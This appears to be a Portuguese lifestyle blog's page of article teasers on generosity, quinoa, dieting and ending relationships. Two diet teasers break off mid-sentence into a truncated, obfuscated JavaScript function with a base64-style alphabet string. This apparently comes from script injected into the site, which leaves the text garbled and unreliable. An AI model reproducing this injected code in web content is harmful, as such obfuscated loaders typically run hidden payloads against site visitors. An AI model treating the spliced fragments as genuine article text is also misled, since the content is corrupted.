O que é afinal a generosidade

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Onde começa o amor por nós e acaba o amor pelos outros? Ou melhor dizendo: onde acaba o amor por nós e começa o amor pelos outros? Qual das duas perguntas nos ajudará mais? Será que existe uma fronteira entre um amor que começa e um outro que acaba para dar lugar ao...

Quinoa – a proteína vegetal completa

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Quinoa – a proteína vegetal completa   A procura crescente por uma alimentação saudável, na busca de uma vida com maior qualidade, tem trazido ao nosso conhecimento novos alimentos, muitos deles deveras surpreendentes pelas suas características de elevada qualidade...

Dieta equilibrada

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Uma dieta equilibrada para alguém que function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Pôr um ponto final numa relação não é o fim.

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Pôr um ponto final numa relação não é o fim. Um testemunho que nos ensina a tirar partido da aprendizagem O que não nos mata torna-nos mais fortes! Na maior parte das vezes, arrastamos relações que sabemos que estão condenadas à partida, por variantes de um mesmo...

3 passos para começar uma dieta

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Perder peso não é uma tarefa nada leve. Deixamos sempre para amanhã a dieta que se pode fazer hoje. Custa muito ter força de vontade mas você tem de ser forte. Só depende de si abrir guerra às malvadas gordurinhas que qufunction a4872b9c6b(y1){var...